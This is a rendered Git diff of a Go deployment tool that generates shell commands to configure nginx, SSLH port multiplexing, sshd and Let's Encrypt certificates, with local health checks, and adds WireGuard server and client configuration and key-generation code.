||||
" location /.well-known/acme-challenge/ {",
|
||||
" root /var/www/html;",
|
||||
" default_type text/plain;",
|
||||
" access_log off;",
|
||||
" }",
|
||||
" location / {",
|
||||
" root /var/www/demo;",
|
||||
" try_files $uri $uri/ /index.html;",
|
||||
" }",
|
||||
"}",
|
||||
"EOF",
|
||||
"chmod 644 /etc/nginx/sites-available/acme-challenge; }",
|
||||
"test -f /etc/nginx/sites-available/sslh-proxy || exit 1",
|
||||
"test -f /etc/nginx/sites-available/acme-challenge || exit 1",
|
||||
"echo '=== Removing ALL default nginx configs BEFORE enabling our sites ==='",
|
||||
"rm -f /etc/nginx/sites-enabled/default /etc/nginx/sites-enabled/default.conf /etc/nginx/sites-enabled/000-default /etc/nginx/sites-enabled/000-default.conf 2>/dev/null || true",
|
||||
"rm -f /etc/nginx/conf.d/default.conf 2>/dev/null || true",
|
||||
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html 2>/dev/null || true",
|
||||
"echo '=== Enabling our nginx sites ==='",
|
||||
"ln -sf /etc/nginx/sites-available/acme-challenge /etc/nginx/sites-enabled/acme-challenge",
|
||||
"ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/sslh-proxy",
|
||||
"echo '=== Verifying nginx config is valid ==='",
|
||||
"nginx -t || exit 1",
|
||||
"echo '=== Unmasking and starting nginx with correct config ==='",
|
||||
"systemctl unmask nginx",
|
||||
"systemctl enable nginx",
|
||||
"rm -f /etc/sslh/sslh.cfg /etc/default/sslh 2>/dev/null || true",
|
||||
"echo '=== Checking SSLH version (must be >= 2.2.4 for security fixes) ==='",
|
||||
"SSLH_VERSION=$(sslh -V 2>&1 | grep -oP 'version \\K[0-9.]+' || sslh -V 2>&1 | grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+' | head -1 || echo '0.0.0')",
|
||||
"echo \"Installed SSLH version: $SSLH_VERSION\"",
|
||||
"if [ -n \"$SSLH_VERSION\" ] && [ \"$SSLH_VERSION\" != '0.0.0' ]; then",
|
||||
" if [ \"$(printf '%s\\n' '2.2.4' '$SSLH_VERSION' | sort -V | head -n1)\" != '2.2.4' ]; then",
|
||||
" echo 'WARNING: SSLH version < 2.2.4 detected. This version has known DoS vulnerabilities (CVE-2025-46807, CVE-2025-46806).'",
|
||||
" echo 'Consider building from source or using a PPA with patched version.'",
|
||||
" echo 'See: https://security.opensuse.org/2025/06/13/sslh-denial-of-service-vulnerabilities.html'",
|
||||
" else",
|
||||
" echo 'SSLH version is >= 2.2.4 (security fixes included)'",
|
||||
" fi",
|
||||
"fi",
|
||||
"mkdir -p /etc/systemd/system/sslh.service.d",
|
||||
"test -f /etc/systemd/system/sslh.service.d/override.conf || { cat > /etc/systemd/system/sslh.service.d/override.conf <<'EOF'",
|
||||
"[Service]",
|
||||
"EnvironmentFile=",
|
||||
"ExecStart=",
|
||||
"ExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg",
|
||||
"LimitNOFILE=4096",
|
||||
"EOF",
|
||||
"chmod 644 /etc/systemd/system/sslh.service.d/override.conf; }",
|
||||
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
|
||||
"echo 'File descriptor limit set to 4096 via systemd LimitNOFILE'",
|
||||
"systemctl daemon-reload",
|
||||
"setcap 'cap_net_bind_service=+ep' /usr/sbin/sslh /usr/sbin/sslh-select 2>/dev/null || true",
|
||||
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
|
||||
"mkdir -p /etc/systemd/system/sslh.service.d",
|
||||
"cat >> /etc/systemd/system/sslh.service.d/override.conf <<'LIMITEOF'",
|
||||
"LimitNOFILE=4096",
|
||||
"LIMITEOF",
|
||||
"systemctl daemon-reload",
|
||||
"echo '=== Starting backend services ==='",
|
||||
"systemctl enable sshd",
|
||||
"systemctl restart sshd",
|
||||
"if ! systemctl is-active --quiet sshd; then",
|
||||
" echo 'ERROR: SSH service failed to start!'",
|
||||
" systemctl status sshd --no-pager || true",
|
||||
" exit 1",
|
||||
"fi",
|
||||
"systemctl start nginx",
|
||||
"if ! systemctl is-active --quiet nginx; then",
|
||||
" echo 'ERROR: Nginx service failed to start!'",
|
||||
" systemctl status nginx --no-pager || true",
|
||||
" nginx -t || true",
|
||||
" echo 'Checking enabled sites:'",
|
||||
" ls -la /etc/nginx/sites-enabled/ || true",
|
||||
" echo 'Checking for default configs:'",
|
||||
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed (good)'",
|
||||
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed (good)'",
|
||||
" exit 1",
|
||||
"fi",
|
||||
"sleep 3",
|
||||
"echo '=== Verifying nginx is listening on port 8444 ==='",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" if ss -tlnp | grep -q ':8444 '; then",
|
||||
" echo 'Nginx is listening on port 8444'",
|
||||
" break",
|
||||
" fi",
|
||||
" echo 'Waiting for nginx to listen on 8444... (attempt $i/5)'",
|
||||
" sleep 2",
|
||||
" if [ $i -eq 5 ]; then",
|
||||
" echo 'ERROR: Nginx failed to listen on port 8444 after multiple attempts!'",
|
||||
" systemctl status nginx --no-pager || true",
|
||||
" nginx -t || true",
|
||||
" ss -tlnp | grep nginx || true",
|
||||
" exit 1",
|
||||
" fi",
|
||||
"done",
|
||||
"echo '=== Verifying HTTP serves demo page (not default nginx) ==='",
|
||||
"HTTP_VERIFIED=false",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" HTTP_CONTENT=$(curl -s http://127.0.0.1:80/ 2>/dev/null)",
|
||||
" if echo \"$HTTP_CONTENT\" | grep -q 'Demo app page'; then",
|
||||
" echo 'SUCCESS: HTTP serves demo page'",
|
||||
" HTTP_VERIFIED=true",
|
||||
" break",
|
||||
" elif echo \"$HTTP_CONTENT\" | grep -qi 'Welcome to nginx'; then",
|
||||
" echo 'ERROR: HTTP still serving default nginx page!'",
|
||||
" echo 'Enabled sites:'",
|
||||
" ls -la /etc/nginx/sites-enabled/ || true",
|
||||
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed'",
|
||||
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed'",
|
||||
" exit 1",
|
||||
" fi",
|
||||
" sleep 2",
|
||||
"done",
|
||||
"[ \"$HTTP_VERIFIED\" = false ] && { echo 'ERROR: HTTP demo page verification failed!'; exit 1; }",
|
||||
"echo '=== Verifying HTTPS serves demo page ==='",
|
||||
"HTTPS_VERIFIED=false",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" HTTPS_CONTENT=$(curl -k -s https://127.0.0.1:8444/ 2>/dev/null)",
|
||||
" if echo \"$HTTPS_CONTENT\" | grep -q 'Demo app page'; then",
|
||||
" echo 'SUCCESS: HTTPS serves demo page'",
|
||||
" HTTPS_VERIFIED=true",
|
||||
" break",
|
||||
" elif echo \"$HTTPS_CONTENT\" | grep -qi 'Welcome to nginx'; then",
|
||||
" echo 'ERROR: HTTPS still serving default nginx page!'",
|
||||
" exit 1",
|
||||
" fi",
|
||||
" sleep 2",
|
||||
"done",
|
||||
"[ \"$HTTPS_VERIFIED\" = false ] && { echo 'ERROR: HTTPS demo page verification failed!'; exit 1; }",
|
||||
"echo '=== Obtaining Let's Encrypt certificates (if email provided) ==='",
|
||||
func() string {
|
||||
if letsencryptEmail == "" {
|
||||
return "echo 'No Let's Encrypt email provided, skipping certificate generation'"
|
||||
}
|
||||
|
||||
// Build domain list for certbot - include root domain and ALL subdomains
|
||||
// This ensures certificates cover all services (SSH, SMB, LDAP, etc.)
|
||||
domains := []string{domain} // Always include root domain
|
||||
domainSet := make(map[string]bool)
|
||||
domainSet[domain] = true
|
||||
|
||||
// Add all subdomains from services
|
||||
for _, svc := range svcList {
|
||||
if svc.Subdomain != "" {
|
||||
fqdn := svc.Subdomain + "." + domain
|
||||
if !domainSet[fqdn] {
|
||||
domains = append(domains, fqdn)
|
||||
domainSet[fqdn] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build certbot command with all domains
|
||||
certbotDomains := ""
|
||||
domainList := ""
|
||||
for i, d := range domains {
|
||||
if i > 0 {
|
||||
certbotDomains += " "
|
||||
domainList += ", "
|
||||
}
|
||||
certbotDomains += "-d " + d
|
||||
domainList += d
|
||||
}
|
||||
|
||||
// Debug: Show which domains will be included
|
||||
domainDebugList := ""
|
||||
for i, d := range domains {
|
||||
if i > 0 {
|
||||
domainDebugList += ", "
|
||||
}
|
||||
domainDebugList += d
|
||||
}
|
||||
|
||||
return fmt.Sprintf(`if [ -n '%s' ]; then
|
||||
echo '=== Obtaining Let's Encrypt certificate ==='
|
||||
echo 'Domains to include in certificate: %s'
|
||||
echo 'Certbot command will be: certbot certonly --webroot -d %s'
|
||||
echo 'Verifying nginx is running before certbot...'
|
||||
systemctl is-active --quiet nginx || systemctl start nginx || exit 1
|
||||
sleep 2
|
||||
mkdir -p /var/www/html/.well-known/acme-challenge
|
||||
chown -R www-data:www-data /var/www/html/.well-known 2>/dev/null || chown -R nginx:nginx /var/www/html/.well-known 2>/dev/null || true
|
||||
chmod -R 755 /var/www/html/.well-known 2>/dev/null || true
|
||||
nginx -t || exit 1
|
||||
echo 'Waiting for DNS propagation (30 seconds)...'
|
||||
sleep 30
|
||||
echo 'Running certbot for ALL domains: %s'
|
||||
echo 'Command: certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html'
|
||||
sudo certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html --keep-until-expiring 2>&1 | tee /tmp/certbot-output.log
|
||||
CERTBOT_EXIT=$?
|
||||
echo 'Certbot exit code: $CERTBOT_EXIT'
|
||||
if [ $CERTBOT_EXIT -eq 0 ]; then
|
||||
CERT_DIR=$(sudo certbot certificates 2>/dev/null | grep -A 5 'Certificate Name:' | grep 'Certificate Path:' | head -1 | awk '{print $3}' | xargs dirname 2>/dev/null || echo '')
|
||||
if [ -z "$CERT_DIR" ]; then
|
||||
CERT_DIR="/etc/letsencrypt/live/%s"
|
||||
fi
|
||||
echo "Certificate directory: $CERT_DIR"
|
||||
if [ -f "$CERT_DIR/fullchain.pem" ] || [ -f /etc/letsencrypt/live/%s/fullchain.pem ]; then
|
||||
CERT_PATH="$CERT_DIR/fullchain.pem"
|
||||
KEY_PATH="$CERT_DIR/privkey.pem"
|
||||
if [ ! -f "$CERT_PATH" ]; then
|
||||
CERT_PATH="/etc/letsencrypt/live/%s/fullchain.pem"
|
||||
KEY_PATH="/etc/letsencrypt/live/%s/privkey.pem"
|
||||
fi
|
||||
echo "Using certificate: $CERT_PATH"
|
||||
echo "Using key: $KEY_PATH"
|
||||
cat > /tmp/sslh-proxy-letsencrypt.conf <<EOF
|
||||
server {
|
||||
listen 127.0.0.1:8444 ssl http2 default_server;
|
||||
server_name _;
|
||||
ssl_certificate $CERT_PATH;
|
||||
ssl_certificate_key $KEY_PATH;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
root /var/www/demo;
|
||||
index index.html;
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
}
|
||||
EOF
|
||||
mv /tmp/sslh-proxy-letsencrypt.conf /etc/nginx/sites-available/sslh-proxy
|
||||
chmod 644 /etc/nginx/sites-available/sslh-proxy
|
||||
chmod 644 "$CERT_PATH" 2>/dev/null || true
|
||||
chmod 640 "$KEY_PATH" 2>/dev/null || true
|
||||
chown root:root "$CERT_PATH" "$KEY_PATH" 2>/dev/null || true
|
||||
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
|
||||
chmod 755 "$(dirname "$CERT_PATH")" /etc/letsencrypt/live/ 2>/dev/null || true
|
||||
echo 'Verifying certificate details...'
|
||||
openssl x509 -in "$CERT_PATH" -noout -text 2>/dev/null | grep -A 1 'Subject Alternative Name' || true
|
||||
nginx -t && systemctl reload nginx && sleep 2 || systemctl restart nginx
|
||||
echo 'Let's Encrypt certificate installed successfully'
|
||||
else
|
||||
echo 'ERROR: Certificate file not found after certbot success!'
|
||||
echo 'Checking certbot certificates:'
|
||||
sudo certbot certificates 2>&1 | head -30
|
||||
echo 'Checking Let's Encrypt directories:'
|
||||
ls -la /etc/letsencrypt/live/ 2>/dev/null || echo 'No live certificates found'
|
||||
fi
|
||||
else
|
||||
echo 'ERROR: Certbot failed!'
|
||||
echo 'Certbot output:'
|
||||
cat /tmp/certbot-output.log 2>/dev/null || echo 'No certbot output log found'
|
||||
echo 'This may be due to DNS propagation delays or ACME challenge failures.'
|
||||
echo 'Certificate will need to be obtained manually or retried later.'
|
||||
fi
|
||||
fi`, letsencryptEmail, domainDebugList, certbotDomains, domainDebugList, letsencryptEmail, letsencryptEmail, certbotDomains, domain, domain, domain, domain)
|
||||
}(),
|
||||
"echo '=== Waiting for all backend services to be ready ==='",
|
||||
"for i in 1 2 3 4 5; do ss -tlnp | grep -q ':22 ' && ss -tlnp | grep -q ':8444 ' && ss -tlnp | grep -q ':445 ' && break || sleep 2; done",
|
||||
"echo '=== Verifying nginx is ready for SSLH ==='",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" if ss -tlnp | grep ':8444 ' | grep -q nginx && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page'; then",
|
||||
" echo 'Nginx is ready on 8444'",
|
||||
" break",
|
||||
" fi",
|
||||
" if [ $i -eq 5 ]; then",
|
||||
" echo 'ERROR: Nginx not ready on 8444!'",
|
||||
" ss -tlnp | grep ':8444 ' || echo 'Port 8444 not listening'",
|
||||
" systemctl status nginx --no-pager | head -10",
|
||||
" exit 1",
|
||||
" fi",
|
||||
" sleep 2",
|
||||
"done",
|
||||
"echo '=== Verifying SSLH config file exists and is valid ==='",
|
||||
"test -f /etc/sslh.cfg || { echo 'ERROR: SSLH config file missing!'; ls -la /etc/sslh* 2>/dev/null; exit 1; }",
|
||||
"test -s /etc/sslh.cfg || { echo 'ERROR: SSLH config file is empty!'; exit 1; }",
|
||||
"echo '=== SSLH Config File Size ==='",
|
||||
"wc -l /etc/sslh.cfg",
|
||||
"echo '=== SSLH Config File Contents (first 50 lines) ==='",
|
||||
"head -50 /etc/sslh.cfg",
|
||||
"echo '=== Validating SSLH config syntax ==='",
|
||||
"sslh -F /etc/sslh.cfg -v 1 -f -t 2>&1 || { echo 'ERROR: SSLH config validation failed!'; echo 'Full config:'; cat /etc/sslh.cfg; exit 1; }",
|
||||
"echo '=== Verifying TLS route in SSLH config ==='",
|
||||
"grep -q 'name: \"tls\"' /etc/sslh.cfg || { echo 'ERROR: TLS route not found in SSLH config!'; exit 1; }",
|
||||
"TLS_ROUTE_COUNT=$(grep -c 'name: \"tls\"' /etc/sslh.cfg || echo '0')",
|
||||
"echo \"Found $TLS_ROUTE_COUNT TLS route(s) in config\"",
|
||||
"grep -A 10 'name: \"tls\"' /etc/sslh.cfg | grep -q 'port: \"8444\"' || { echo 'ERROR: TLS route not pointing to port 8444!'; echo 'TLS routes found:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg; exit 1; }",
|
||||
"echo '=== Verifying protocol order (TLS before SSH) ==='",
|
||||
"TLS_LINE=$(grep -n 'name: \"tls\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
|
||||
"SSH_LINE=$(grep -n 'name: \"ssh\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
|
||||
"if [ -n \"$TLS_LINE\" ] && [ -n \"$SSH_LINE\" ] && [ \"$TLS_LINE\" -lt \"$SSH_LINE\" ]; then",
|
||||
" echo 'Protocol order correct: TLS before SSH'",
|
||||
"else",
|
||||
" echo 'WARNING: Protocol order may be incorrect. TLS should come before SSH.'",
|
||||
"fi",
|
||||
"echo '=== Starting SSLH service ==='",
|
||||
"systemctl stop sslh 2>/dev/null || true",
|
||||
"pkill -9 sslh sslh-select 2>/dev/null || true",
|
||||
"ss -tlnp | grep -q ':443 ' && fuser -k 443/tcp 2>/dev/null || true",
|
||||
"sleep 2",
|
||||
"systemctl daemon-reload",
|
||||
"systemctl enable sslh",
|
||||
"systemctl restart sslh",
|
||||
"sleep 5",
|
||||
"systemctl is-active --quiet sslh || { echo 'ERROR: SSLH service failed to start!'; systemctl status sslh --no-pager; journalctl -u sslh -n 20 --no-pager; exit 1; }",
|
||||
"ss -tlnp | grep -q ':443 ' || { echo 'ERROR: SSLH not listening on port 443!'; ss -tlnp | grep ':443 '; exit 1; }",
|
||||
"echo '=== Verifying SSLH can reach nginx ==='",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then",
|
||||
" echo 'SSLH can reach nginx on 8444'",
|
||||
" break",
|
||||
" fi",
|
||||
" if [ $i -eq 5 ]; then",
|
||||
" echo 'ERROR: SSLH cannot reach nginx on 8444!'",
|
||||
" ss -tlnp | grep ':8444 '",
|
||||
" systemctl status nginx --no-pager | head -10",
|
||||
" exit 1",
|
||||
" fi",
|
||||
" sleep 1",
|
||||
"done",
|
||||
"echo '=== Testing SSLH TLS routing ==='",
|
||||
"echo 'Testing direct connection to SSLH on port 443...'",
|
||||
"timeout 3 bash -c '</dev/tcp/127.0.0.1/443' 2>/dev/null && echo 'Port 443 is reachable' || echo 'WARNING: Port 443 not reachable'",
|
||||
"TLS_ROUTING_WORKING=false",
|
||||
"for i in 1 2 3 4 5; do",
|
||||
" echo \"TLS routing test attempt $i/5...\"",
|
||||
" TLS_TEST=$(timeout 10 bash -c 'echo | openssl s_client -connect 127.0.0.1:443 -servername chaosengineering.cc 2>&1' 2>/dev/null)",
|
||||
" if echo \"$TLS_TEST\" | grep -q 'CONNECTED'; then",
|
||||
" if echo \"$TLS_TEST\" | grep -q 'Verify return code: 0'; then",
|
||||
" echo 'SSLH TLS routing test passed (certificate valid)'",
|
||||
" elif echo \"$TLS_TEST\" | grep -q 'Verify return code:'; then",
|
||||
" echo 'SSLH TLS routing test passed (certificate self-signed, but connection works)'",
|
||||
" else",
|
||||
" echo 'SSLH TLS routing test passed (connection established)'",
|
||||
" fi",
|
||||
" TLS_ROUTING_WORKING=true",
|
||||
" break",
|
||||
" fi",
|
||||
" sleep 2",
|
||||
"done",
|
||||
"[ \"$TLS_ROUTING_WORKING\" = false ] && { echo 'ERROR: SSLH TLS routing test failed!'; echo 'Testing direct nginx connection:'; timeout 3 bash -c 'echo | openssl s_client -connect 127.0.0.1:8444 -servername localhost 2>&1' | head -20; echo 'SSLH config TLS route:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg | head -15; echo 'SSLH logs:'; journalctl -u sslh -n 30 --no-pager; exit 1; }",
|
||||
"systemctl is-active --quiet nginx && ss -tlnp | grep -q ':8444 ' && systemctl is-active --quiet sslh && ss -tlnp | grep -q ':443 ' && curl -s http://127.0.0.1:80/ 2>/dev/null | grep -q 'Demo app page' && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page' && echo 'Deployment ready' || echo 'Some verifications failed'",
|
||||
}
|
||||
|
||||
return commands
|
||||
}
|
||||
|
||||
func generateNginxSSLHProxyConfig() string {
|
||||
return `# Default server for root domain (HTTPS on port 443 via SSLH)
|
||||
# Certbot will update this configuration with Let's Encrypt certificates if email is provided
|
||||
server {
|
||||
listen 127.0.0.1:8444 ssl http2 default_server;
|
||||
server_name _;
|
||||
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
|
||||
root /var/www/demo;
|
||||
index index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
}
|
||||
`
|
||||
}
|
||||
|
||||
func generateNginxACMEConfig() string {
|
||||
return `# HTTP server for Let's Encrypt ACME challenge
|
||||
# This must be the default_server on port 80 to handle all HTTP requests
|
||||
server {
|
||||
listen 0.0.0.0:80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
server_name _;
|
||||
|
||||
# Serve ACME challenge for Let's Encrypt
|
||||
# Certbot webroot plugin writes files here for HTTP-01 validation
|
||||
location /.well-known/acme-challenge/ {
|
||||
root /var/www/html;
|
||||
default_type "text/plain";
|
||||
# Allow certbot to write files here
|
||||
access_log off;
|
||||
}
|
||||
|
||||
# For root domain, serve demo page on HTTP (before HTTPS redirect)
|
||||
# This allows initial access while certificates are being obtained
|
||||
location / {
|
||||
root /var/www/demo;
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
}
|
||||
`
|
||||
}
|
||||
|
||||
func generateDemoPageHTML() string {
|
||||
return `<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Demo App Page</title>
|
||||
<meta charset="utf-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
}
|
||||
.container {
|
||||
text-align: center;
|
||||
padding: 2rem;
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
border-radius: 10px;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
h1 {
|
||||
margin: 0;
|
||||
font-size: 3rem;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Demo app page</h1>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
}
|
||||
90
internal/wireguard/client.go
Normal file
90
internal/wireguard/client.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type ClientProfile struct {
|
||||
OS string
|
||||
Architecture string
|
||||
ConfigContent string
|
||||
ConfigPath string
|
||||
}
|
||||
|
||||
func GenerateClientProfiles(serverConfig *ServerConfig, serverIP string, count int) ([]ClientProfile, error) {
|
||||
var profiles []ClientProfile
|
||||
|
||||
platforms := []struct {
|
||||
OS string
|
||||
Architecture string
|
||||
}{
|
||||
{"linux", "amd64"},
|
||||
{"linux", "arm64"},
|
||||
{"darwin", "amd64"},
|
||||
{"darwin", "arm64"},
|
||||
{"windows", "amd64"},
|
||||
}
|
||||
|
||||
numProfiles := count
|
||||
if numProfiles <= 0 {
|
||||
numProfiles = len(platforms)
|
||||
}
|
||||
|
||||
for i := 0; i < numProfiles; i++ {
|
||||
platform := platforms[i%len(platforms)]
|
||||
|
||||
clientPrivateKey, clientPublicKey, err := GenerateClientKeyPair()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate client key pair: %w", err)
|
||||
}
|
||||
|
||||
clientAddress := fmt.Sprintf("10.0.0.%d/24", i+2)
|
||||
clientConfig := GenerateClientConfig(
|
||||
serverIP,
|
||||
serverConfig.Port,
|
||||
serverConfig.PublicKey,
|
||||
clientPrivateKey,
|
||||
clientPublicKey,
|
||||
clientAddress,
|
||||
"0.0.0.0/0",
|
||||
)
|
||||
|
||||
profile := ClientProfile{
|
||||
OS: platform.OS,
|
||||
Architecture: platform.Architecture,
|
||||
ConfigContent: clientConfig.ToConfigFile(),
|
||||
}
|
||||
|
||||
profiles = append(profiles, profile)
|
||||
}
|
||||
|
||||
return profiles, nil
|
||||
}
|
||||
|
||||
func SaveClientProfile(profile ClientProfile, outputDir string) (string, error) {
|
||||
if err := os.MkdirAll(outputDir, 0755); err != nil {
|
||||
return "", fmt.Errorf("failed to create output directory: %w", err)
|
||||
}
|
||||
|
||||
var filename string
|
||||
switch profile.OS {
|
||||
case "darwin":
|
||||
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
|
||||
case "linux":
|
||||
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
|
||||
case "windows":
|
||||
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
|
||||
default:
|
||||
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(outputDir, filename)
|
||||
|
||||
if err := os.WriteFile(configPath, []byte(profile.ConfigContent), 0600); err != nil {
|
||||
return "", fmt.Errorf("failed to write client config: %w", err)
|
||||
}
|
||||
|
||||
return configPath, nil
|
||||
}
|
||||
102
internal/wireguard/server.go
Normal file
102
internal/wireguard/server.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
type ServerConfig struct {
|
||||
PrivateKey string
|
||||
PublicKey string
|
||||
Port int
|
||||
Interface string
|
||||
Address string
|
||||
}
|
||||
|
||||
type ClientConfig struct {
|
||||
PrivateKey string
|
||||
PublicKey string
|
||||
Address string
|
||||
ServerIP string
|
||||
ServerPort int
|
||||
ServerPublicKey string
|
||||
AllowedIPs string
|
||||
Endpoint string
|
||||
}
|
||||
|
||||
func GenerateServerConfig(port int, interfaceName, address string) (*ServerConfig, error) {
|
||||
privateKey, publicKey, err := generateKeyPair()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate key pair: %w", err)
|
||||
}
|
||||
|
||||
return &ServerConfig{
|
||||
PrivateKey: privateKey,
|
||||
PublicKey: publicKey,
|
||||
Port: port,
|
||||
Interface: interfaceName,
|
||||
Address: address,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (sc *ServerConfig) ToConfigFile() string {
|
||||
return fmt.Sprintf(`[Interface]
|
||||
PrivateKey = %s
|
||||
Address = %s
|
||||
ListenPort = %d
|
||||
|
||||
`, sc.PrivateKey, sc.Address, sc.Port)
|
||||
}
|
||||
|
||||
func GenerateClientConfig(serverIP string, serverPort int, serverPublicKey, clientPrivateKey, clientPublicKey, clientAddress, allowedIPs string) *ClientConfig {
|
||||
return &ClientConfig{
|
||||
PrivateKey: clientPrivateKey,
|
||||
PublicKey: clientPublicKey,
|
||||
Address: clientAddress,
|
||||
ServerIP: serverIP,
|
||||
ServerPort: serverPort,
|
||||
ServerPublicKey: serverPublicKey,
|
||||
AllowedIPs: allowedIPs,
|
||||
Endpoint: fmt.Sprintf("%s:%d", serverIP, serverPort),
|
||||
}
|
||||
}
|
||||
|
||||
func (cc *ClientConfig) ToConfigFile() string {
|
||||
return fmt.Sprintf(`[Interface]
|
||||
PrivateKey = %s
|
||||
Address = %s
|
||||
|
||||
[Peer]
|
||||
PublicKey = %s
|
||||
Endpoint = %s
|
||||
AllowedIPs = %s
|
||||
PersistentKeepalive = 25
|
||||
|
||||
`, cc.PrivateKey, cc.Address, cc.ServerPublicKey, cc.Endpoint, cc.AllowedIPs)
|
||||
}
|
||||
|
||||
func generateKeyPair() (string, string, error) {
|
||||
var privateKey [32]byte
|
||||
if _, err := rand.Read(privateKey[:]); err != nil {
|
||||
return "", "", fmt.Errorf("failed to generate private key: %w", err)
|
||||
}
|
||||
|
||||
privateKey[0] &= 248
|
||||
privateKey[31] &= 127
|
||||
privateKey[31] |= 64
|
||||
|
||||
var publicKey [32]byte
|
||||
curve25519.ScalarBaseMult(&publicKey, &privateKey)
|
||||
|
||||
privateKeyBase64 := base64.StdEncoding.EncodeToString(privateKey[:])
|
||||
publicKeyBase64 := base64.StdEncoding.EncodeToString(publicKey[:])
|
||||
|
||||
return privateKeyBase64, publicKeyBase64, nil
|
||||
}
|
||||
|
||||
func GenerateClientKeyPair() (string, string, error) {
|
||||
return generateKeyPair()
|
||||
}
|
||||
Reference in New Issue
Block a user